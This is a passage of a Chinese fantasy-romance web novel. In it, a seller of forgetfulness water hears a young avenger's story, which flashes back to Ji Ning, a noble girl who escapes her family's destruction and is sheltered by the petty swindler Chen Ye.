孟梨食看着自己左手,眼眸中闪过一道白光,数条红线中,有一条逐渐清晰起来。
江余客握紧腰间的轩辕剑,正要上前,左手臂猛的被拉住。
孟梨食拉住他就往回走,江余客顺着力走了两步,奇怪道:“这是做什么?”
不远处的少年眼中也闪过一抹惊讶,主动出声道:“你们不杀我?”
孟梨食停下脚步,松开江余客的手臂,转身看着对方。
“杀人偿命,因果报完,你没罪。”
少年愣了一下,旋即发出
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一声嗤笑:“你判我无罪?”
孟梨食:“不是我,是因果。
“我不是判官,判不了你是否有罪,不过若是将你交给衙门,那你就可以等着秋后问斩了。”
听着两人对话,江余客露出疑惑,“所以林家满门就是被他杀的?那又为什么说没罪呢?”
孟梨食沉默地看着对面的少年,从对方不屑与桀骜的眼神中看出悲伤。
“要问到底发生了什么,还得当事人来说。”孟梨食道。
她上前两步,自我介绍道:“我是个卖水人,专卖忘情水。
“忘情水,一碗解忧忘愁,限时购买,只需半价。”
少年蹙眉,不在意地笑了,“你觉得我像有忧愁的样子吗?”
孟梨食心道,不是像不像的问题,是你就是。
但她卖水卖出经验来了,知道一些人嘴硬心硬,明明难过得要死,偏偏要强撑着,不过……
像面前这位强撑无事的,还挺少见,乍一看,还真没法看出对方的悲伤。
“你可以将你的故事告诉我,再决定要不要买一碗忘情水,”孟梨食道,“那种感受不好过。”
她当然不知道那是什么感受,要是知道她早就回到地府了,但遇见这么多心碎的人,她略有些感触罢了。
少年沉默地看着对面两人,他一条腿撑着,手肘放在上面,手中的匕首还在往下滴着血。
“你们知道林家三小姐死得有多惨吗?”他突然问,旋即发出一声满足的笑声。
“我当着她的面将林家其他人杀了,欣赏她崩溃的样子。然后我切了她的舌头,挖了她一只眼睛,再一根根切下她手指,最后再将她凌迟……”
江余客忍不住皱起眉。
孟梨食又瞅了眼左手掌心,在她的视线中,那根红线泛出了光芒。
她抬头,“你是为谁报仇?”
“卖水人,我没必要将自己的故事告诉你吧。”少年轻嗤着从木箱上跳下来,转身欲走。
孟梨食皱了皱眉,看来这是她目前遇见过的最棘手的家伙。
但无论多棘手她都不能放弃,当务之急还是早点卖完忘情水早点完成任务早点回到地府。
对方看起来嘴硬,但能被她选中的都是有软肋的。
看着对方远去的背影,孟梨食抬手,一根红线被她紧握手中。
接着,她将手松开,红线像有生命似的在空中游荡,一端忽的没入少年胸口,而另一端在空中迷茫地摇摆,最终跟着探入少年胸口。
少年顿住脚,望着仿佛从胸口处长出来的红线,惊讶地睁大眼睛。
这时,一块白色手帕从他胸口飘出,红线另一端正没入其中。
少年脸上的惊讶很快变为惊吓,他一把扔掉手中的匕首,抬手将飞起来的手帕抓住。
“我可以让地府的人关照她,在她喝的孟婆汤里加点糖。”
孟梨食说,见对方神色出现松动,继续道:
“或者,我给她加些善德,让她下辈子活得幸福快乐。”
少年紧紧握着手帕,从手帕露出的一角,可以看见一只绣的极其可爱的兔子。
他抬起头,眼眶竟有些泛红。
“她是季府小姐,叫季宁……”
23. 娇小姐与小骗子(2)
今日阳光灿烂,清风和煦。
“十八、十九、二十……”
扎着五色羽毛的毽子被抛向空中,又稳稳落在一只穿着花纹云头鞋子的脚上。
季宁在后院欢快地踢着毽子,嘴里数着数。
忽然,一阵吵闹声从前院传来。
她吓了一跳,毽子“嗒”的一声掉落在地。
正无措间,她看见府内奶娘朝自己奔来,忙问:“奶娘,前院……”
还没等她问完,奶娘一把拉住她,神色慌张,近乎粗鲁地将她往后厨扯。
季宁感到左臂一阵剧痛,眼泪瞬间出来了。
“奶娘,疼……”她害怕又委屈地喊。
要是搁平时,奶娘早就停下来,对着她手臂轻轻吹气,用最柔和的声音安慰她。
但现在,对方紧绷着脸,仿佛没有听见她的话,动作强硬地将她带去后厨。
后厨后院,这里是专门倒食物残渣的地方,一片恶臭。
奶娘不顾满地泥泞,抬脚踏过去。她蹲在一处墙角前,费力将一块巨石推开。
季宁还捂着手臂直掉眼泪,一抬头看见露出来的洞口时愣住了,她看见奶娘朝她奔来,拉着她往墙角走。
恶臭乌黑的泥泞没过她鞋袜,沾上她裙摆。
她太惊讶了,一时竟忘了哭喊和逃离。
“小姐,从里面出去,一直往前跑,跑过两条巷子就是贫民巷,你找到一户挂兔子灯笼的人家,就躲在那里,乖乖听话。”奶娘看着她,眼里泛着泪光。
季宁浑身颤抖,一把拉住奶娘的衣袖,“奶娘,那你呢?娘亲和爹爹呢?”
“小姐,不要问这些,听话。”奶娘终于忍不住,发出呜咽。她将小姐的手拉下来,将她往洞口推。
季宁害怕得不敢动,她好像明白了什么,压着哭声问:
“奶娘,真的是林家陷害我们吗?”
她偶然在爹爹书房外听到过,但林家三小姐是她的好朋友,她也很喜欢林家的其他人,她不敢相信这是真的。
“小姐,不要问,不要问。”奶娘用沾满污泥的手抚摸季宁的脸庞,将散发恶臭的污泥沾上对方的脸。
“不要寻仇,要好好活着。”她说着,一把将对方推出去,又连忙转身将巨石推回来。
看着对方的身形一点点被石头挡住,季宁慌张地要扑进来,却被奶娘狠心推开。
“奶娘!奶娘……”季宁拍打着完全合上的岩石,大哭地喊。
“呜呜……奶娘!”
季宁站起身,望着四周有些陌生的环境,心底更加难受。
她记着奶娘给她说的话,视线微一晃动,落在明显更加破败的小巷子处。
明明阳光还很明亮,但看过去,只觉得这条小巷子延伸进一片黑暗,阴风阵阵。
她忍不住全身发抖,又回头看看季府的高墙,最终憋着哭声,朝小巷子深处奔去。
跑过两条巷子,找到挂着有兔子灯笼的人家……
脑子里重复着奶娘的话,季宁跌跌撞撞地跑着,不时被堆在路中央的各种杂物绊倒。
脚下的路越发狭窄阴暗,路两旁堆放着破竹席、废弃木箱等物,有一段路甚至需要她挤着进去。
头顶那一小块天空也逐渐暗下,变为夹杂着橙色的紫色,最终归于黯淡。
她呼吸越发沉重,甚至感到一股血腥味弥漫在喉间,腿和脚也好痛,火辣辣的痛。
季宁抽着气,努力将在眼眶打转的泪水憋住。
她不敢停下来,四周已经是浓稠得剥不开的黑暗,一旦停下来,就觉得自己被恶兽吞噬,她一定会哭出来的。
又奔跑许久,终于,她停下脚步,望着头顶的兔子灯笼,紧绷的身体终于松懈下来。
这处巷子夹在一排房屋背后与危墙中间,四周的人家只有面前这家挂上了灯笼,那一点光亮渺小,在黑夜中却又足够惹眼。
骤一停下,眩晕感很快漫上来,全身的疼痛也跟着涌来,与此同时还有心中无尽的委屈与害怕。
季宁走上前,轻轻敲了敲门,没听见反应,又敲了敲,稍用力了些。
结果她刚碰上这潮湿发润的门,门就自己推开了一条缝。
她惊得后退两步,这才发现门没锁。
她望望四周的无尽黑暗,又看看头顶的兔子灯笼,最终将门推开,抬脚迈进去。
里面依旧昏暗,不过勉强能看清一点轮廓。
她磕绊地往前走,突然,一道物件落地的声音从前方黑暗传来。
她吓得浑身一抖,现在的她就像受惊的兔子,任何风吹草动都能将她吓到。
“说,她人呢?”
“小姐……早就出城了,藏在……藏在香山的灵静观内。”
沙哑的声音断断续续传来,季宁惊恐地捂着嘴,下意识后退。
“走!”另一道声音下令。
“求求你们饶了我吧,我已经告诉你小姐的下落……”
求饶的话还没说完,刀入□□的“噗嗤”声清晰地传了出来。
接着,是东西倒地的闷响,与有序离去的脚步声。
滚烫的眼泪夺眶而出,季宁紧紧捂着嘴,才没让哭泣声溢出来。
他被杀了,奶娘让她找的人早就暴露,现在被杀了……
她恍惚地从后门退了出来,头顶的兔子灯笼发出哔剥声,里面的蜡烛终于燃尽,在闪出最后一点火星后熄灭。
四周归于黑暗,只有头顶那微弱的月光穿过障碍撒下来。
季宁一下子没了方向,望着眼前黑暗不知何去何从。
但继续待在这肯定不行,她拖着酸痛的脚,随便选了个方向,一步步走去。
巷内起了风,带着夜间的寒冷。
季宁抱着自己,开始头晕,迈出的步子摇摇晃晃。
她好累,好饿,好渴,好困……
她好想哭,好想娘亲和爹爹,还有奶娘……
她努力迈出腿,脚尖突然磕在什么东西上,整个人猛地一个趔趄,直接扑在坚硬的地面上。
她好半天没缓过神,眼泪再也忍不住,哗啦啦地淌了下来。
寂静的小巷内,只有她细细的哭泣声在回荡。
她想站起身,但小腿骨一阵钝痛,刚有动作便又跌了回去。
头晕得更厉害了,眼前阵阵晕眩,全身都在疼。
她将身子缩成一团,将脑袋抵在膝盖上,缓缓闭上眼睛……
不知过了多久,月亮升到天空的顶点,皎洁的光辉大片大片地撒在这片脏乱之地。
这时,一道黑影咻地闪过。
突然,黑影晃了一下,往前踉跄两步,险些扑地。
“什么东西在这?”黑影发出抱怨,扭身看着险些将自己绊倒的东西。
他微弓下身,借着月光,竟发现这是个人。
还是个穿着蛮华丽的人。
陈野将对方打量一番,视线落在对方发间的白玉兰花簪子上。
他眼睛亮了亮,正想探手去取,对方却猛地一惊,突然抬起头。
两人的目光猝然撞在一起。
陈野下意识后退两步,思绪飞转。
他在思考这是怎么个情况,一个看起来是千金小姐的人怎么会出现在这贫民巷内。
季宁视线有些模糊,她只能看见对方大致的身形,应当是个少年。
头顶的月亮越发皎洁,月光投射在季宁发间簪子上,闪着晶光。
陈野被这光芒晃着眼睛,心底的念头越发膨大。
他视线在对方脏兮兮的脸上转了转,最终落在她有些茫然与无神的双眼上。
他嘴角露出一抹笑意,弓着身,抬手在对方眼前晃了晃。
“喂,你饿不饿?前面有家铺子,要不要去吃点东西?”他用着担忧的语气问,眼里的笑意隐没在黑暗中。
听见吃东西,季宁抿了抿干燥的
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嘴唇,肚子也叫了起来。
陈野看出她有些心动,正要露出得逞的笑,却见对方轻摇头,声音微弱道:
“不去,人多。”
人多,她会暴露的。
陈野眼骨碌一转,视线再次落在对方的簪子上。
“那你把钱给我,我就劳累一下,跑个腿,帮你把吃的带过来。”
他话说得极其自然,字里间又透出他的心意。
季宁从小生活在宠爱与善意中,闻言心生感激,只是尴尬道:“我没钱。”
她从不需要自己带钱。
“没钱啊……”陈野拖长声音,显得很为难,突然,他“诶”了一声,像是突然发现对方头上的簪子似的。
他指着对方头上的簪子道:“你把这簪子给我,我拿它去换些吃的,如何?”
他十分尊重对方的选择,但季宁却没有选择,她肚子饿得发疼,一支簪子就能换吃的,她当然立马答应。
况且,她从未在意这些饰品的价值,这些东西,她有很多……
但她忘了,那是从前。
陈野成功拿到簪子,他假模假样对季宁道:
“你就在这等我,我马上回来。”
说罢,他转过身,身形完全融于黑暗。
季宁茫然地看着前方,乖巧地点头:“嗯,我就在这里。谢谢你!”
她说完,再次将脑袋垂在膝盖上,整个人缩的更紧了。
呼呼——
巷子里的风势更大了,将堆放的杂物吹得哗啦作响,甚至将一根倚墙放置的竹竿吹倒在地,发出“啪”的一声震响。
黑夜里,风声唤起了各种声音,仿佛无数鬼魅潜伏在这里。
季宁冷得牙齿直打颤,心里不停祈愿:“快回来啊,快回来啊……”
但回应她的,只有无尽的风声,她迷迷糊糊地失去了意识。
不知过了多久,天空由墨黑泛上了紫色。
“嘿!今晚收获不错。”陈野左手抛着个钱袋,右手从胸口摸出根白玉兰花簪子。
他脚下生风地走着,突然,脚下被什么一绊,整个人猝不及防,一下子往前跌去。
啪叽一声,他整个人与地面来了个亲密接触,胸口一阵钝痛,那是钱袋硌在下面了。
等等!
他猛地翻身,侧头一看,果然,白玉簪子被他摔成了两段。
陈野捡起簪子,正要破口大骂,但当他看见面前情景时,突然骂不出来了。
面前蜷缩个人,缩成小小的一团。
陈野后两秒反应过来,满脸惊恐。
“不会吧,不会死了吧?”他望望四周,小心往前走了两步准备查探一番,突然,一只惨白的手伸出,一把抓住他衣摆。
季宁摇摇晃晃抬起头,脸上泛着不正常的红色。
“骗子……”她用沙哑的声音道,语气里全是委屈,旋即垂下脑袋,再没有反应。
陈野身子后倾,心想对方不会一直在等自己吧,这也太傻了。
他皱了皱眉,转身要走,却被一股力拉住。
他低头一看,这才发现对方还揪着他衣摆不放。
他挣了挣,竟意外的没挣开。
陈野叹了口气,看在对方这么傻的份上,决定当回好人。
他蹲在对方身前,问:“要我带你去看大夫吗?”
“不要,会被发现……”季宁撑着最后的力气说完,身体一晃,倒向对方。
陈野身体一僵,对方的脑袋就搭在他肩膀上,隔得如此之近,然后,他闻到一股味道……
“呕!你好臭啊!”他大叫着,下意识就要将对方推开,却不想,对方不知何时抱住了他的腰,抱得死紧。
陈野怎么扯都扯不掉。
天际逐渐泛上白色,小巷外传来喧闹声。
陈野做了好一番心理斗争,最终选择认命。
他抱住对方,起身,抬脚离开。
24. 娇小姐与小骗子(3)
季宁感到一个温暖的东西拂在脸上,她无意识地去追逐这抹温柔,呢喃道:
“娘亲……”
“嗯哼,擦掉污泥后长得还行。”陈野看着床上的人,满意地点头。
他随手一扬,将手中帕子扔进不远处的木盆里
季宁迷迷糊糊睁开眼,头脑的晕眩让她仿佛飘在云端,但喉间的堵塞疼痛又像把钩子将她勾向地面。
她在这一浮一沉中逐渐恢复知觉,但身体仍然难受。
她感受到身上有床被子,但她依旧冷,冷得她将自己缩成一团。
一阵脚步声传来,又逐渐远去。
她努力睁开眼,没看到人,只看到一间她过去从未想象过的房屋。
这应该是柴房吧?她迷迷糊糊地想。
从她躺在床上的视角,最先看见的竟然是一扇半开的木门,木门就是由几块长木条拼成,而且拼得并不接洽,一缕缕阳光从板隙间钻进来,将空气中的尘埃照得明亮。
视线一晃,床旁边是一张粗糙的木桌子,上面摆了一只茶壶。
她还没将这间狭窄的屋子打量完,一道人影逆着房外的阳光走进。
“醒了就赶紧起来把药喝了。”陈野走到床前,将手中的瓷碗放在床边的木桌上。
季宁的视线顺着对方动作而动,落在黝黑的瓷碗上。
“喝了药就赶紧离开。”陈野抱臂看着对方,没好气道。
季宁忍着难受爬起身,抬手端过碗,但当她望着里面黑黢黢的液体,即使她鼻子堵塞也能闻到一股臭味时,她顿住了。
“赶紧喝!”见对方没了动作,陈野催促道。
他说话恶声恶气的,季宁望着药水冒出的白烟,眼里有些湿润。
她努力憋住鼻尖酸涩,赴死般猛地一灌……
“咳咳咳!苦,好苦!”
季宁咳得全身发抖,脸蛋皱成一团,忍不住吐着舌头嘶气。
陈野嘴巴微张,看起来是有些惊讶,估计他长这么大还没见过这种情况。
好不容易不咳嗽了,季宁捧着碗,扭头看向对方,小心地问:“请问,有蜜饯吗?”
“蜜饯?”像咀嚼一个陌生词汇般,陈野拖长声音,脸上闪过茫然。
突然,他看着对方因剧烈咳嗽而泛红的眼眶,讥笑道:
“你到底是哪来的娇小姐,喝个药还要蜜饯。告诉你啊,蜜饯没有,喝完药赶紧离开!”
季宁嘴巴轻抿,闻着这药源源不断散发的恶臭,她是怎么样也喝不下去了。
反正她就要死了,家里人都被抓了,即使奶娘叮嘱她让她活下去,她也没法完成。
想到这,季宁心中又是一阵堵塞。她将碗放回木桌上,一个后仰躺了下来。
“我马上就要死了,要死的人可以不用喝药。”
对方的行为一次次刷新陈野的认知,他都要被气笑了。
“你要死麻烦你死外面,别死我床上。”
“你床上?”季宁意外地看向他,此时她脑子里很不合时宜地想:
“书上说了,男女授受不亲,我竟然睡在一个陌生男子的床上!”
但旋即,她就不在乎了。
她马上就要死了,马上就会睡在乱葬岗里,书上虽然没说,但肯定不会赞同一个女子睡在乱葬岗里。
但死在对方床上还是不太好,想了想,季宁看向站在床前的人,略带些生气问:“我簪子呢?”
说到簪子,陈野的气势一下子下去了,那簪子被摔成两段后他就赶紧找玉行低价换了点钱,而钱已经进他小金库里了。
“你昨晚骗了我,你说拿簪子给我换吃的,我一直在等你。”越说季宁越委屈,颇没气势地骂道:“你就是个小骗子!”
陈野被骂骗子骂得多了,搁以往他都是直接骂回去甚至揍回去,但看着面前连骂人都软绵绵的女孩,话好像被什么东西堵住。
“我那簪子可以换很多钱的。”季宁看着对方,她自然不知道那根簪子的价值,这么说不过强装气势,多一些筹码。
“我把簪子给你,就不怪你昨晚骗了我,只要你允许我在你这里等死就好。”
怕对方不同意,季宁补充道:“我很快就会死了,不会耽搁你太久。”
对方的行为又一次刷新陈野见识,他张了张嘴,平时那么厉害的一张嘴,现在竟然再次说不出话来。
怎么搞的好像他欠对方似的。
“起来喝药!”陈野盯着对方道,直接选择不回答对方的请求。
“不过感染些风寒,就要死要活的,真是娇小姐!”
他说着,一把将对方拉起来,端起碗直接塞进对方手中,“喝!”
“你扯的我手疼。”季宁轻声道。
她低头看着热气已经散掉的药,突然打了个冷噤,将全身缩成一团,一点点将药喝了下去。
每喝一口,她都要缓好一会,然后皱着眉继续喝。
好半天,她终于把药喝完,将碗放回桌上后自然地躺回被子里,只露出一双眼睛。
“你要是想把我赶走,麻烦把我簪子给我。”
陈野气道:“那我不就是亏了,白抱你回来给你擦脸熬药是吗?”
“你是个好人。”季宁诚恳道。
“呵!好人?我要是好人你会骂我小骗子?”
这下轮到季宁说不出话来了,如果没有簪子,那她真的是身无分文了,她昨日踢毽子时特地没戴那些饰品。
没有钱,她离开后会死得更快,那还不如刚才不喝药,在这等死比较好,最起码这里还有床。
虽然床很硬,被子也很硬,而且一点都不香,也不暖和,但都比在外面冻死好。
“我还是想死在这里。”季宁看着对方,又将被子拉上来一点,轻声道。
陈野:“……”他去把簪子赎回来再自掏腰包把它修好还来得及吗?
来不及了,而且他心疼钱。
他没辙了,他真没辙了,他努力克制着不将对方连带着被子丢出去。
“行,那你就继续躺着等死吧!”他气急败坏地说完,转身离开。
房间内重回安静,季宁静静躺着,望着头顶覆盖的不知为何发黑的茅草出神。
她确实准备躺着等死,但自从喝了那碗苦的不行的药后,她竟然觉得头不怎么晕了,喉咙也不疼了。
现在应该是下午了,季宁望着门外透进来的光线猜测。
头不晕后,肚子的饥饿更加明显,她有多久没吃东西了,好饿啊……
不,不行,她要等死,不能吃东西。
刚这么坚定地在心里说完,她马上又露出哭脸,要死也不要饿死啊!
就在她脑内冒着各种想法时,陈野再次走了进来,将什么东西搁在木桌上,发出“嗒”的一声轻响。
季宁好奇地看去,意外发现是一碗熟悉的药,还有一碗全白色的粥。
“你先吃点粥,等药
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不烫了就把药喝了。”陈野看着她道。
季宁肚子叫了一声,她脸瞬间一红,但隔着被子,她不确定对方有没有听见。
她真的饿得不行了,等吃饱了再等死也没什么不可以。
想完,她爬起身,端过碗轻轻地吹了口气,有些迫不及待地喝了一口。
她砸吧着嘴,皱着眉疑惑地看着碗里的稀粥,“我从来没吃过这种粥。”
“给你什么你就吃什么。”陈野说完转身出去,不过多久抱着个东西进来。
他一把将东西扔在床上,嫌弃地看着季宁道:“你身上脏死了,把这衣服换了。”
季宁愣了一下,突然想起死人好像都是要换衣服的,为了防止自己死后身体被对方看到,现在换衣服确实要好些。
陈野说完再次出去,还将门带上。
季宁缩在床上倒腾着将衣服换了,她原来的衣服沾满污泥,鲜艳的粉色已经变成死沉的褐色,就这她居然是穿着衣服躺在床上的。
“脏死了,脏死了!”她嘟哝着换完衣服,将脱下的衣服往地上一扔。
新换上的是一件灰色麻衣,摸在手上便觉得梆硬,穿在身上更不适了。
换完衣服她就继续喝粥,但喝粥跟喝药似的,喝一口都要缓好一会。
也不知道过了多久,陈野再次推门进来。
他瞅了眼还剩一半的粥,又看向还没被碰的药,不满道:“赶紧把粥和药喝完,然后去把碗洗了。”
“洗碗?”季宁呆住了,“我不会洗碗,我从来没有洗过碗。”
陈野一本正经道:“就这样这样那样那样就洗好了,洗完碗再把你衣服洗了。”
他说着瞟了眼扔在地上的衣服。
季宁更加震惊了,她从来没洗过东西诶,这样这样那样那样是哪样?
但她又马上意识到,现在的她已经不是曾经的小姐了,没有仆人洗她的碗和衣服。
她蔫蔫地“哦”了一声,眼骨碌一转,正想说她就要死了,没力气,但刚有这个念头,她便突然发现——
她好像不是很难受了!
季宁逐渐反应出不对劲,她看看对方,又低头思索,难道……
难道对方想收留自己?
他也太好了!
季宁一下子跳下床,两口将粥闷了,又端起碗,皱眉犹豫几秒,也将其闷了。
她知道自己死不了了,她知道自己以后也不是一个人了!
季宁抱起地上的脏衣服,笑着看向陈野,问:“你叫什么名字啊?我叫季宁……”
话刚出,她猛的意识到自己现在是个犯人的身份,对方不会把自己送给衙门吧?
但马上她又否定了,对方愿意收留自己,对方是个好人……嗯,是个爱骗人的好人。
“我叫陈野。”陈野看着对方一会难过一会高兴,一会激动一会担忧的面部表情,心想对方可以去戏台了。
“陈也?”季宁拧眉看他,“哪个也?”
陈野自嘲道:“野孩子的野。”
季宁眉头皱的更紧了,她很不喜欢这个解释。
“是山野的野,自由自在的意思。”
“野孩子,没爹没娘,更自由自在。”
陈野刚说完,便见对方一脸严肃的脸垮了下来,上扬的眉毛也耷拉下来。
“那我没爹没娘是不是也是野孩子?”
陈野一噎,赶忙换了个话题:“赶紧去洗碗洗衣服!”
25. 娇小姐与小骗子(4)
陈野去外面逛了一圈,心想屋内那位娇小姐应该把碗和衣服洗好了。
他悠哉地推开院门,走到院角的大水缸前,整个人顿时僵住了。
衣服泡在木盆里,碗搁在一旁,里面还沾着米粒,一看就是还没开始洗。
他正想生气,却看见季宁难受得要哭似的,疯狂搓手臂,不合身份地扯着胸口处的衣服。
“怎么了?”他问。
“陈野,我全身都不舒服。”看见陈野,季宁如看见救星般,憋住的眼泪瞬间就下来了。
陈野皱着眉,意识到什么,一把上前撸开她衣袖,便见白皙的皮肤上大片红色,触目惊心。
他又去看对方衣领,在脖颈处也看见一片红色。
“陈野,这衣服我穿着不舒服。”季宁带着哭腔道。
陈野从未遇到过这种情况,忙拉着对方去到屋内,速度飞快道:
“你把衣服脱了躺床上,我去给你买药。”
他说完将房门关紧,飞快朝着暗巷内跑去。
不一会,他到达目的地。
在他面前是一张简陋木桌,被一块红布盖着,上面摆放着各种瓷瓶木盒。
而在木桌旁边,挂着一条白布,上面“半仙”二字被写得极其潇洒……凌乱。
木桌后坐着个男人,他头发黑白参半,脸色褐色干枯,最引人注目的是他瞎了半只眼睛。
瞎的那只眼干瘪下去,看起来极其可怖。
“半眼瞎!”陈野一巴掌拍在木桌上,气喘吁吁地喊。
桌后面的“半仙”睁开唯一的那一只眼睛,看见来人露出一抹笑容。
“怎么,我卖给你那副药管用吧,两副下去保管活蹦乱跳。”
“再给我来副药,治身上泛红的。”季宁忙道。
“咋回事?”半眼瞎瞪着眼,“你得说具体啊,咋会身上泛红?”
陈野想了想,道:“应该是她穿不惯那种衣服。”
“啊?”对方表示不明白。
“啧!”陈野不耐烦道:“她就是个娇小姐,皮肤娇嫩得很,穿不惯这种粗布麻衣!”
“哦哦哦。”半眼瞎点点头,慢吞吞去桌下面找药,边找边习惯性地吹嘘着:
“我半仙这里什么药都有,别说治皮肤泛红了,就是你要成仙我也能给你搓个成仙丸来。”
“快点!”陈野再次拍响桌子,对方这些吹嘘的话他都听了上万遍,耳朵都听出茧子了。
“哦哦哦。”半眼瞎从桌下探出个乱糟糟的脑袋,接着露出枯黄且干瘪的脸,在这昏暗的环境里仿佛一个鬼魂从井里爬出来。
这幅场景任谁看了都会尖叫晕倒,幸好对面是陈野。
陈野从小被吓大的。
“给你给你,五两银子。”半眼瞎将一个白瓷瓶扔在桌上,舒服地瘫回椅子里。
陈野一把夺过瓶子,大骂:“这么贵,你怎么不去抢?”
“贵?能用钱换的都不算贵,有些东西可是要用命换的。”
陈野知道对方说一不二的德行,一边心疼掏钱一边恨恨道:“那我宁愿拿命去换!”
“算了,收你二两,剩下的估计你还得去给她买件新衣裳。”半眼瞎叹着气。
“我是疯了还是傻了掏钱给她买……”
“不就一件衣裳吗?凭什么这么贵?!”陈野对着成衣铺掌柜的怒吼。
掌柜的被骂得满脸懵,连忙赔着笑道:
“咱家衣裳料子都是顶好的,客人眼光又好,你看中的这件海棠褶裙,是用软罗裁剪的,样式也新。”
掌柜的看看对方,见对方脸色浮现犹豫,忙乘胜追击道:
“公子是想给心意的姑娘买的吧,那买这件准没错,都城内的姑娘小姐都爱这样式的。”
哪知他刚说完,陈野仿佛被踩到尾巴似的,一整个炸了起来,“谁给你说她是我心意的姑娘的!”
掌柜的被对方的气势逼得后退两步,呆住了。
陈野咬着牙,他恨不得直接抬脚离开,但看着木架上这件淡绿色裙子,又有些犹豫。
这衣裳他看着便觉得不错,要是她穿上了,估计会更好看。
而且,屋里的娇小姐穿不了粗衣服,总得买一件新的……
算了,大不了以后让她把钱还回来。
“包下来吧。”陈野没好气地对掌柜道。
掌柜僵住的脸顿时露出灿烂微笑,点着头将这件裙子拿下来。
陈野提着包裹回到屋中,在木门上敲了敲,又等了几秒后推门进去。
刚进门他便迅速将视线挪向别处,抬手将衣裳和药放在木桌上,道:“把药抹在泛红的地方,然后试试这件衣服。”
“嗯。”季宁整个人缩在被子里,发出的声音被被子隔断,更加闷响。
陈野对这个情况颇不适应,说完逃也似的转身往外走:“我出去了,你抹药吧。”
来到院内,他深深地呼了口气,余光瞥见院内一角,想也没想便走过去将还没洗的碗洗了。
洗完碗又看了眼泡在木盆里的衣裙,想了想,蹲下来开洗。
他摸着衣服布料,感受到异常的柔软,动作不由的轻缓下来。
他买的那件裙子肯定是没法和这件比的,那些富人可真会享受。他感叹着。
洗了一会,他动作突然顿住,猛地反应过来,将手里的裙子扔回盆里,噌的站起身。
“我凭什么给她洗衣服?我又不是她家的下人!”
他气势汹汹地站着,几秒后,又磨磨蹭蹭的蹲下来继续洗,并自我解释道:
“我这样做是不想花钱给她买新衣服,毕竟再怎么样也要有两件衣服换着穿,这件衣服洗洗还能穿。”
他很快接受了这个解释,洗得更卖力了,丝毫没想到可以让衣服的主人自己来洗。
他晾着衣服,突然听见身后传来木门被推开的嘎吱声,扭过头,便见屋里那位怪异地走了出来。
他皱着眉,怕对方又有什么不正常,问:“你是不会走路吗?药抹好没?”
季宁点点头,接着又摇头,脸上露出些许为难。
陈野将眉头皱的更深了,“到底有什么事?”
季宁低下脑袋,露出泛红的耳尖,瓮声道:“我后面涂不到药膏。”
陈野:“……”
他没辙了,再次没辙了,他是骗人太多所以老天爷让他遇见对方作为对他的惩罚吗?
季宁耷着脑袋,脸上有些滚烫。
她是真的涂不到背后,本想算了,但后背好像更严重,穿衣服时被蹭到更疼了。
她是实在没办法才来麻烦对方的。
陈野无语道:“进屋,我帮你涂。”
季宁:“哦——”
她回到屋中,将衣服半褪,褪到一半,又想到书上说的“男女授受不亲”。
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她僵住了,那她还应该让对方帮自己抹药吗?
她不用死了,不用考虑死后睡在乱葬岗的问题,那睡在对方床上好像也不太可行。
“想什么呢?赶紧的!”陈野已经将药膏倒进掌心,揉搓变热了,见对方脱个衣服也磨磨蹭蹭的,不经恼火。
她家人是把她当废人来养的吗?
听对方不耐烦的催促,季宁吓了一跳,三两下将后背露出来。
没了衣服遮挡,冷空气一下子拂在背上,让她禁不住打了个冷颤。
她背上是大片的红色,她皮肤本来就白,更衬得这红块显眼。
陈野目不斜视,熟练地将药膏涂抹上去。
季宁默默坐在床沿上,感受后背传来的轻触,有些讶异。
她记得这药膏是很凉的,但涂在背上的药膏却带着一抹温润,背上的疼痛一下子被压下去了。
房间内弥漫着淡淡的药膏香气,是种带着些草药味的冷香。
这香气还有定神的功效,但两人都有些心神不宁,心脏跳得嘣嘣作响。
抹完药,陈野匆忙站直身,说了句“好了”,转身快步离开房间,将房门带上。
他心说完了,他早该料到的,对方的病会传染!
他感觉自己的脸又红又烫,火烧似的,虽然不是很难受,估计是才犯病的原因。
他倒出些药膏,“啪”的一下涂在脸上,混乱抹匀。
药膏的冰凉猛地触碰到他发烫的脸,让他一激灵。
这时,季宁穿好衣服出来,她打算将没洗完的碗和衣服洗了,但当视线落在院内一角,却什么都没看见。
这时候,她余光注意到院内另一角搭起的竹竿上,熟悉的衣服正在阳光下被微风吹得轻晃。
她惊讶地看向站着好像在发呆的人,没想到对方会将她衣服洗好。
她心中一片温暖,暗下决心,一定要多干活报答对方。
于是……
季宁搓洗被她弄脏的被子,将手搓破了皮,哭着去找陈野……
季宁洗菜,被菜里的虫子吓得一跳一米高,崴了脚,哭着去找陈野……
季宁扫地,被竹扫把刮到手,哭着去找陈野……
季宁切菜……
“别动!”在对方拿起菜刀的瞬间,陈野心中一咯噔,连忙冲了过来夺过菜刀。
季宁保持着抬刀的动作,但手中已经没了刀。
她眨巴着眼睛,放下高抬过头的手,默默退到一边。
陈野将菜刀放好,松了口气,转头看见对方,不由得生气道:
“你别给我捣乱了,一边去!”
“我想给你做饭。”季宁委屈却又带着一丝不服气道,“这次我肯定能做好。”
就算没有前几次的经验陈野也不会相信她,谁切菜的手法像砍头,这菜也没犯什么滔天大罪吧?
“出去出去,什么都做不好。”陈野朝她摆手。
季宁憋着嘴,露出委屈的表情。
这招她百试不爽,每次遇到爹爹娘亲或是奶娘生气,她都会这样可怜地看着对方,很快他们就会反过来安慰自己。
她看见对方僵硬住,心想这次也有了效果,结果下一秒,她被拎着扔出了厨房。
季宁整个人懵在原地,这和她想的怎么不太一样?
而隔着一面墙之内,陈野捂了捂脸,顶着泛红的耳尖,抡起菜刀噔噔噔开始剁菜。
26. 娇小姐与小骗子(5)
在吃过一顿热乎乎的晚饭后,季宁提着的一颗心半落,虽然,桌对面的人没有明确说出让她留下的话,但对方的每一个行动都带着默许。
吃的很饱了,不知道是不是自己狠狠饿了一回的原因,季宁将桌上这一菜一汤吃了个干净。
“你做饭真好吃!”季宁望着桌对面的人,笑得眼睛弯成了月牙。
陈野微别过头,他还担心对方会像吃那碗粥一样满脸不情愿,幸好不是,不然……
不然就饿死她算了!
季宁嘿咻站起身,熟练地撸起袖子收拾碗筷,饭是陈野做的,她不能吃白食,得付出劳动。
在对方收拾碗筷的一瞬间,陈野吓得一激灵,噌的站起身,“你别动,赶紧给我出去让我来!”
“我不!”季宁抱着碗,飞快跑到院子一角。
她想用行动告诉对方,她不是娇小姐,她只是没做过,但她可以学,学了后会做的很好。
这次,她确实将碗洗好了,看着陈野一副活见鬼的表情,她得意地笑笑。
洗完碗,天彻底暗下,繁星隐隐浮现。
